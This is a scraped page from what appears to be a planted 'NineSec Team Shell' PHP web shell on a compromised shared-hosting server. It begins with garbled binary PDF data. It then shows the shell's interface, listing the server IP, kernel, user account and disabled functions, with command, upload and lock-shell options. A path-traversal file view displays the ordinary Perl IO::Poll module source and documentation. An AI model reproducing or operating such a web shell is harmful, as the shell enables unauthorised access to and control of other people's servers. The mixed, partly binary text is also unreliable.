%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 3.149.253.111
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../dev/../lib64/nss/../man-db/../perl5/IO/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../dev/../lib64/nss/../man-db/../perl5/IO/Poll.pm
# IO::Poll.pm
#
# Copyright (c) 1997-8 Graham Barr <[email protected]>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package IO::Poll;

use strict;
use IO::Handle;
use Exporter ();

our @ISA = qw(Exporter);
our $VERSION = "1.41";

our @EXPORT = qw( POLLIN
	      POLLOUT
	      POLLERR
	      POLLHUP
	      POLLNVAL
	    );

our @EXPORT_OK = qw(
 POLLPRI
 POLLRDNORM
 POLLWRNORM
 POLLRDBAND
 POLLWRBAND
 POLLNORM
	       );

# [0] maps fd's to requested masks
# [1] maps fd's to returned  masks
# [2] maps fd's to handles
sub new {
    my $class = shift;

    my $self = bless [{},{},{}], $class;

    $self;
}

sub mask {
    my $self = shift;
    my $io = shift;
    my $fd = fileno($io);
    return unless defined $fd;
    if (@_) {
	my $mask = shift;
	if($mask) {
	  $self->[0]{$fd}{$io} = $mask; # the error events are always returned
	  $self->[1]{$fd}      = 0;     # output mask
	  $self->[2]{$io}      = $io;   # remember handle
	} else {
          delete $self->[0]{$fd}{$io};
          unless(%{$self->[0]{$fd}}) {
            # We no longer have any handles for this FD
            delete $self->[1]{$fd};
            delete $self->[0]{$fd};
          }
          delete $self->[2]{$io};
	}
    }
    
    return unless exists $self->[0]{$fd} and exists $self->[0]{$fd}{$io};
	return $self->[0]{$fd}{$io};
}


sub poll {
    my($self,$timeout) = @_;

    $self->[1] = {};

    my($fd,$mask,$iom);
    my @poll = ();

    while(($fd,$iom) = each %{$self->[0]}) {
	$mask   = 0;
	$mask  |= $_ for values(%$iom);
	push(@poll,$fd => $mask);
    }

    my $ret = _poll(defined($timeout) ? $timeout * 1000 : -1,@poll);

    return $ret
	unless $ret > 0;

    while(@poll) {
	my($fd,$got) = splice(@poll,0,2);
	$self->[1]{$fd} = $got if $got;
    }

    return $ret;  
}

sub events {
    my $self = shift;
    my $io = shift;
    my $fd = fileno($io);
    exists $self->[1]{$fd} and exists $self->[0]{$fd}{$io} 
                ? $self->[1]{$fd} & ($self->[0]{$fd}{$io}|POLLHUP|POLLERR|POLLNVAL)
	: 0;
}

sub remove {
    my $self = shift;
    my $io = shift;
    $self->mask($io,0);
}

sub handles {
    my $self = shift;
    return values %{$self->[2]} unless @_;

    my $events = shift || 0;
    my($fd,$ev,$io,$mask);
    my @handles = ();

    while(($fd,$ev) = each %{$self->[1]}) {
	while (($io,$mask) = each %{$self->[0]{$fd}}) {
	    $mask |= POLLHUP|POLLERR|POLLNVAL;  # must allow these
	    push @handles,$self->[2]{$io} if ($ev & $mask) & $events;
	}
    }
    return @handles;
}

1;

__END__

=head1 NAME

IO::Poll - Object interface to system poll call

=head1 SYNOPSIS

    use IO::Poll qw(POLLRDNORM POLLWRNORM POLLIN POLLHUP);

    $poll = IO::Poll->new();

    $poll->mask($input_handle => POLLIN);
    $poll->mask($output_handle => POLLOUT);

    $poll->poll($timeout);

    $ev = $poll->events($input);

=head1 DESCRIPTION

C<IO::Poll> is a simple interface to the system level poll routine.

=head1 METHODS

=over 4

=item mask ( IO [, EVENT_MASK ] )

If EVENT_MASK is given, then, if EVENT_MASK is non-zero, IO is added to the
list of file descriptors and the next call to poll will check for
any event specified in EVENT_MASK. If EVENT_MASK is zero then IO will be
removed from the list of file descriptors.

If EVENT_MASK is not given then the return value will be the current
event mask value for IO.

=item poll ( [ TIMEOUT ] )

Call the system level poll routine. If TIMEOUT is not specified then the
call will block. Returns the number of handles which had events
happen, or -1 on error.

=item events ( IO )

Returns the event mask which represents the events that happened on IO
during the last call to C<poll>.

=item remove ( IO )

Remove IO from the list of file descriptors for the next poll.

=item handles( [ EVENT_MASK ] )

Returns a list of handles. If EVENT_MASK is not given then a list of all
handles known will be returned. If EVENT_MASK is given then a list
of handles will be returned which had one of the events specified by
EVENT_MASK happen during the last call ti C<poll>

=back

=head1 SEE ALSO

L<poll(2)>, L<IO::Handle>, L<IO::Select>

=head1 AUTHOR

Graham Barr. Currently maintained by the Perl Porters.  Please report all
bugs to <[email protected]>.

=head1 COPYRIGHT

Copyright (c) 1997-8 Graham Barr <[email protected]>. All rights reserved.
This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut

NineSec Team - 2022